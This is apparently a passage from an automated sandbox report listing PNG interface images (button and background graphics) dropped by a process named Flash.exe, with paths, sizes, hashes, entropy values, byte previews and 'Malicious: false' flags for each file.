Malicious:	false
Preview:	.PNG........IHDR.......<........F....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:82F4E8DC600711E88B7BE76393119EEE" xmpMM:DocumentID="xmp.did:82F4E8DD600711E88B7BE76393119EEE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:82F4E8DA600711E88B7BE76393119EEE" stRef:documentID="xmp.did:82F4E8DB600711E88B7BE76393119EEE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..n.....IDATx...m.A..P.....aJ...LpM.;KH..e;eg.K ..g;....~<.......vF.......?....8... ...\|;...........u]o..<......n.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_bg_box_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 198 x 72, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1070
Entropy (8bit):	6.112942794211937
Encrypted:	false
SSDEEP:	24:wJ1hmYaWwjx82lY2T3XV31jC1ryJ3V11VMV1cGOEX:wXMYLNn2DFAUJ3HbaKk
MD5:	01DDDF2570B4B0CEEF8B4F92A8B04DB2
SHA1:	DDAFF322395D4710637CCEDEAD15C2DB1A38D542
SHA-256:	1218D5251627BB7CE479DB7165D258A3F9D555FBF7A996D68907D53052ED9BB2
SHA-512:	4E7D433D69240F73D713E9DBDFAFDEC3DE644A88D949430F81C5BCAA44F6D053CF761D845E542EBB42338B13FCCAC32B313F9593C8D2CF8B7AA912703588E459
Malicious:	false
Preview:	.PNG........IHDR.......H....."C......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:68C131F9B90E11EBA522816853AEB3DE" xmpMM:DocumentID="xmp.did:68C131FAB90E11EBA522816853AEB3DE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:68C131F7B90E11EBA522816853AEB3DE" stRef:documentID="xmp.did:68C131F8B90E11EBA522816853AEB3DE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...V....IDATx...A..0...1..B..0....p....{..X.Ka)....R`),...RX.Ka)....R`),...RX.K......R`),...RX.K......Ka),...RX.K...

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_bg_box_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 396 x 144, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1293
Entropy (8bit):	5.892020948864017
Encrypted:	false
SSDEEP:	24:h1hmYaWwjx82lY2T3XVE9nny9n3yJ3Vi9neU9nQGRlnXXXXnz:PMYLNn2DaFyFiJ3MF/FQSXXXXnz
MD5:	6BB91A17E29C238DE801960E84CB71F3
SHA1:	C8FF10D28EA0BD9CA01FEBCA2AC96C9BBEFADBA4
SHA-256:	C9298CD776FB437928AC01F3473BD39CEBAEB81776626F598B8C9F7FA8BDEEE9
SHA-512:	18FC1BB2F7E8509160D6E6121C59F50953750BC111F4B195510C238C5405C65DD3CEB6DE8739FAE9E63C9DB6E0A55C6C8FF9CCA81BD456A9B3A785995E1FF215
Malicious:	false
Preview:	.PNG........IHDR..............8.I....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:68513FD8B90E11EB89BACDBFB845C670" xmpMM:DocumentID="xmp.did:68513FD9B90E11EB89BACDBFB845C670"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:68513FD6B90E11EB89BACDBFB845C670" stRef:documentID="xmp.did:68513FD7B90E11EB89BACDBFB845C670"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.c`....}IDATx...1..0...R..B..8\0$.~....p..0)...L....L.0)...L....L.0)...L....L.0)...L....L.0)...L....L.0)...0)...L.0

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_bg_row_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 198 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1002
Entropy (8bit):	6.058581435193801
Encrypted:	false
SSDEEP:	24:ln1hmYaWwjx82lY2T3XVA8AmyJ3VO8cCTGNwB:l1MYLNn2DS99J3UUTNB
MD5:	6C592FAD8AF87F45D95A3A7FBBA08FFD
SHA1:	2E03CCEE2B072F4A5634201EFF65FB37F9E5BD01
SHA-256:	67C4B93F8686F2A2406618EFE5CF862D6956343B45963BBEF3733D814FE6023B
SHA-512:	964B0DD113BB812D4A6E98596415FF947A3A73623E37630D49B1313D1BC1FD24DEF3BFA3CF832BCEE62CE65E9A590EC0274B1F88D2FDEFBADCC8EDAA48D61026
Malicious:	false
Preview:	.PNG........IHDR....... ...........tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:67DF8063B90E11EB8B35A81B2653A2DA" xmpMM:DocumentID="xmp.did:67DF8064B90E11EB8B35A81B2653A2DA"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:67DF8061B90E11EB8B35A81B2653A2DA" stRef:documentID="xmp.did:67DF8062B90E11EB8B35A81B2653A2DA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.\*6...ZIDATx...A..0...1G....1A..p....{..X.Ka)....R`),...RX.Ka)....R`),...RX.K......R`),...R........P}.......IEND.B

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_bg_row_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 396 x 64, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1101
Entropy (8bit):	6.009197586158373
Encrypted:	false
SSDEEP:	24:Q1hmYaWwjx82lY2T3XVbSa89yJ3VSO4JLeGjPvXXXXQz:uMYLNn2DF2MJ3ncyeXXXXQz
MD5:	A77AA09CFF957C6EE53D1E64E078075B
SHA1:	9B74088CFB3747C47683F2C4D758A36E8093E225
SHA-256:	5D45A631A253A97FE174F888D4562F2F0A838730D4CD63EF33BEFD886D25D55E
SHA-512:	396E7CB4F764FCD93F8F3E1ECB0278E405A429C11A2BC4A2768B99C1844E9781CFA9436843E51E19B943395B8179EE60BDCCADFE470E2FD778894ECC8E3D1258
Malicious:	false
Preview:	.PNG........IHDR.......@........f....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:67665249B90E11EBAEEFEA986611DC5C" xmpMM:DocumentID="xmp.did:6766524AB90E11EBAEEFEA986611DC5C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:67665247B90E11EBAEEFEA986611DC5C" stRef:documentID="xmp.did:67665248B90E11EBAEEFEA986611DC5C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>q._=....IDATx...1..0...RG....Q..C"..~.W}....0)...L......0)...L......0)...L......0)...L......0)...L......0)...L....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_left_disabled_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 118 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1043
Entropy (8bit):	6.230320035289223
Encrypted:	false
SSDEEP:	24:x1hmYaWwjx82lY2T3XVKghFpVyJ3VKgKFgboYGaSyYKoTP1:fMYLNn2DQgnuJ3QgugboYqy6P1
MD5:	FA2FCA490DA6C6FAA8F966828C80E8C6
SHA1:	62433BCDF3D15F4A4434514EE9FC4831C2CE2074
SHA-256:	012712D2847C01BEF39BFE43DFFCF5B6EC7D4F6B2AFFA431EB9D68A85BDB67F5
SHA-512:	502963263E1B8C6A66E0421EEB102B215E32596B272CA4E974DA5A06FE8DF94513860BEFE9DA39C2B42DD69162F2A26817FFF9F9EC0ACB1E421B984991188C92
Malicious:	false
Preview:	.PNG........IHDR...v...(......A......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:20704FEFAE3811EBA04EC06D6B775F3D" xmpMM:DocumentID="xmp.did:20704FF0AE3811EBA04EC06D6B775F3D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:20704FEDAE3811EBA04EC06D6B775F3D" stRef:documentID="xmp.did:20704FEEAE3811EBA04EC06D6B775F3D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..\|.....IDATx......0..a.......f._...A.8...=37..s.1.X..!...s.b.C..+.*.U.b.X.6....X..S.[....".....)...X..g..m1T.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_left_disabled_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 236 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	6.466380363015078
Encrypted:	false
SSDEEP:	24:Z1hmYaWwjx82lY2T3XVhOuYAyJ3VhMTu2eGkGKwtPDzAS6JJ4Jg3:nMYLNn2DrORDJ3rMSRhwtPDkS64Jg3
MD5:	0949F1882F871F84B1E0FFCB3F4B9126
SHA1:	BAB388DE05FBF3181D9AC278D8682D23E8AAD296
SHA-256:	3D82E3D08D2E32B8072758B8901D71AA168CCA4B56A146AA247535D8CC2AFE58
SHA-512:	5D6235870D84E9D7A0D2EDF7C60F8E15D3AF1EDA7E0EE674C1BC2F6C7BF74649ED8AA551A2205A2F58AC85AB61855A7B313E147FC138C7E7675ECBA05D7CD3AD
Malicious:	false
Preview:	.PNG........IHDR.......P........M....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1EBF9503AE3811EB978C8A2401DE6C16" xmpMM:DocumentID="xmp.did:1EBF9504AE3811EB978C8A2401DE6C16"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1EBF9501AE3811EB978C8A2401DE6C16" stRef:documentID="xmp.did:1EBF9502AE3811EB978C8A2401DE6C16"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..:.....IDATx.....0.DQ@D..7.VL..@`..K...kt..{. .9....>.z.1...K...:..lbx.&v.(1.....N.%.G...J..G...wb..0'..@......

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_left_hover_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 118 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1136
Entropy (8bit):	6.4324340305826
Encrypted:	false
SSDEEP:	24:x1hmYaWwjx82lY2T3XVX8HziyJ3VpVQITGocfSetfVl1jOG:fMYLNn2D4J3rkSmVlFR
MD5:	260EF2050BC8477271A827C9BBD9F70A
SHA1:	8492D544F23731D8B912917B33A2084B302EB6E1
SHA-256:	46B3FF34C082EFC647C36EF13098D8D1885FD12612E9D3AA04D71352F37E30C3
SHA-512:	6D67C33ECBE1D46356D502A06D7B900A594B7F22DEA27CFB7C9C172F7DBE8ADB3E4DBDE80F79A5E3FCEE63F00A9416A64613AD87A7DAB4AAB21FC1B60F5C0273
Malicious:	false
Preview:	.PNG........IHDR...v...(......A......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:21414AA5AE3811EBA6E6F8814126E03E" xmpMM:DocumentID="xmp.did:21414AA6AE3811EBA6E6F8814126E03E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21414AA3AE3811EBA6E6F8814126E03E" stRef:documentID="xmp.did:21414AA4AE3811EBA6E6F8814126E03E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>\d.j....IDATx....A...D...H].F.).....>..I.r.........E.....W. ...A..kRVhP.b..U...."...;....(..E.c.Ag.../.]L".].W.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_left_hover_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 236 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1349
Entropy (8bit):	6.774602902570872
Encrypted:	false
SSDEEP:	24:Z1hmYaWwjx82lY2T3XV+dGdYyJ3V+7EGEkN6qYDcDLet5gllZgUP:nMYLNn2Dwa7J3f/QD9SO
MD5:	3E1560DF24A50EDDB28E9522E1DAC503
SHA1:	BEFF597A6A2E259A10A6F5FCBED3BBC6049AAF2A
SHA-256:	707A4645E2FEF1DD80281D9051E4ACB7361B465513DE8632E838129000BEDE36
SHA-512:	883B40047C954F023356929DAEB0DFE89AC54458496A1B9FF6B4D0AC5DCAF99C637F1245FCB8FEEC0DFDA9F030EF6EFEFA47F9AA21503CBED63A953CE8000D68
Malicious:	false
Preview:	.PNG........IHDR.......P........M....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1F8EC169AE3811EBB776E8363E4C3989" xmpMM:DocumentID="xmp.did:1F8EC16AAE3811EBB776E8363E4C3989"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1F8EC167AE3811EBB776E8363E4C3989" stRef:documentID="xmp.did:1F8EC168AE3811EBB776E8363E4C3989"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>I.o.....IDATx...1NC1..P..R..9W.F.-....p....k..Z........cA.gK@.............e[.r..\|.. v...3#...#..1.E1.I,.......<..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_left_normal_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 118 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1101
Entropy (8bit):	6.394899726002322
Encrypted:	false
SSDEEP:	24:x1hmYaWwjx82lY2T3XV7E2yJ3VAkGfMOpMOq3ts:fMYLNn2DCJ3pG9qa
MD5:	016918B490D1141B8F13B4784E0352BC
SHA1:	78EA95EAE45E38D036013D0C3DD4CF2BD6CD75A9
SHA-256:	AD2D9F6F6E545A4309DD8FE6B6CCE93836349745906CB6290C634F054151129D
SHA-512:	69CAFCC69C2371E8821B9F9541F1FAA88CFEB238419446020E38E407C3B86286D5ABBE26FFCDA5D6D9482C102F62F4E41F4EC50B0E1F01A74F5F10DF2868B201
Malicious:	false
Preview:	.PNG........IHDR...v...(......A......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:21ABF4D4AE3811EB98BEE164FF0718D9" xmpMM:DocumentID="xmp.did:21ABF4D5AE3811EB98BEE164FF0718D9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21ABF4D2AE3811EB98BEE164FF0718D9" stRef:documentID="xmp.did:21ABF4D3AE3811EB98BEE164FF0718D9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.0......IDATx...1..@... Q#......>vr.......F.......,&9..~..@d...D.qA..x.."..X<".,.Zl....X.D\%.#...B!..[(X..x..;@.Y

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_left_normal_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 236 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1288
Entropy (8bit):	6.688082996617538
Encrypted:	false
SSDEEP:	24:Z1hmYaWwjx82lY2T3XVMP8yJ3V/PbGyxnzrX5u01SZcLO:nMYLNn2DCJ3hpdDLO
MD5:	1AB109CCB5EBBD9DB3D01CD9E10AB4D5
SHA1:	6614D2C91118140E506C4B62FA1BAD8107E2342E
SHA-256:	434DB403064FCDBFA76CE14BAF4EBA8FE1FBA3E987AEDCC70ACCB661C08B8327
SHA-512:	E47ABE6EA51F3ECE89CA4FFA5E6C94BD6910D705F68DE2F932B05C9A042191485FDFCEA34F3949B63293D9F9A334255A7CFDAD66FA1F44C951D6AF010D1094FA
Malicious:	false
Preview:	.PNG........IHDR.......P........M....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1FF8FB26AE3811EB80C59E38BAF03FA9" xmpMM:DocumentID="xmp.did:1FF8FB27AE3811EB80C59E38BAF03FA9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1FF8FB24AE3811EB80C59E38BAF03FA9" stRef:documentID="xmp.did:1FF8FB25AE3811EB80C59E38BAF03FA9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Wv.Y...xIDATx.....A.....b.e;bbj...q6`.....\|...=.]..d{G@.C...........g.p.d7........&^#,.hb......&v.#...b..&..&

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_left_pressed_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 118 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1139
Entropy (8bit):	6.472771170722026
Encrypted:	false
SSDEEP:	24:x1hmYaWwjx82lY2T3XVLOa3ByJ3VpUBOG1i3nxpOrTSY9:fMYLNn2DMJ3vpXxpYTSK
MD5:	12D6F39DD7D67CD8A643EB85C4489707
SHA1:	0D68B4930DAF38BA4AC0AD8A17E88554DE80685A
SHA-256:	570373B854C0F6B03FA90F59326E327AAB87B50F014A71D81D398BC7EA50AD3E
SHA-512:	D126D3191929879B9746A9F73B8F8AD9672561902FE7911FD03F265AC0901742ABF5A3377873AF23238464D7A0D5CA3129CB39602EBB9E705F6E2F329FC2C0A2
Malicious:	false
Preview:	.PNG........IHDR...v...(......A......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:20D9D7BEAE3811EBA410C0034F4B098C" xmpMM:DocumentID="xmp.did:20D9D7BFAE3811EBA410C0034F4B098C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:20D9D7BCAE3811EBA410C0034F4B098C" stRef:documentID="xmp.did:20D9D7BDAE3811EBA410C0034F4B098C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.E.!....IDATx....@...........YB"..{.3....hV.`.4.9_..,....~}..".%..q.\|E.8...D...-R.)..).!..... X..).E!bZ.CQ..]..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_left_pressed_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 236 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1355
Entropy (8bit):	6.852369807020533
Encrypted:	false
SSDEEP:	24:Z1hmYaWwjx82lY2T3XVt11yJ3VG1zeGiuXkhwcZZpYAn6yAaTaZEQOC9:nMYLNn2D6J3QeAXkhRL2AnRAaRvU
MD5:	2134822932FDC706F271CA9FD283D203
SHA1:	0AC0D25BB047BE89E03F9E2F96F985DF110289F9
SHA-256:	A112AD80C18258E6BD2F8B79C3EB89E906709C0C170311060765E92684F5BF9D
SHA-512:	DC81E31747C8A00DA3D7D232171B56C4FD2A0D7392D841912C4A9731C5B77325C6E7A65E963FA8E84DBB1B57B4BAA942BF16DC5F156AE8EFE740B5E56C56DB77
Malicious:	false
Preview:	.PNG........IHDR.......P........M....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1F267B70AE3811EB82FBED166FF7C15F" xmpMM:DocumentID="xmp.did:1F267B71AE3811EB82FBED166FF7C15F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1F267B6EAE3811EB82FBED166FF7C15F" stRef:documentID="xmp.did:1F267B6FAE3811EB82FBED166FF7C15F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>B.......IDATx...M.A.E.... ..Y....%..as.n..g.V........cA.#..i.......,...v..H..3.$.._CL8...#..:.gAv.E1.N\|..F.x.oyL

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_right_disabled_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 22 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	6.3432868813808065
Encrypted:	false
SSDEEP:	24:tn1hmYaWwjx82lY2T3XVlR7d/4Cf7dyJ3Vlj7Y/4hG7SGhG5pXXfSnbLqhHc7:HMYLNn2DzQFJ3zfVmG5pXqnbLoc7
MD5:	856D4BEFF14DADBF5C30AAD9F71F6D3D
SHA1:	E973E26EF02A9567EAB95930CFCD01912552AC58
SHA-256:	6932EC9FBE6F09D78F888CC2EB032E29C3E3D0A9425B64960EB2B386EEDFB2C3
SHA-512:	A38329723E8685315409D3C61EAC189E1F622E284FE5D93FB50B8E5F7B9354328B6F1219CBC23B27DD4A49B0EF3D96C39480F3797A972369FF43630C15A8AA33
Malicious:	false
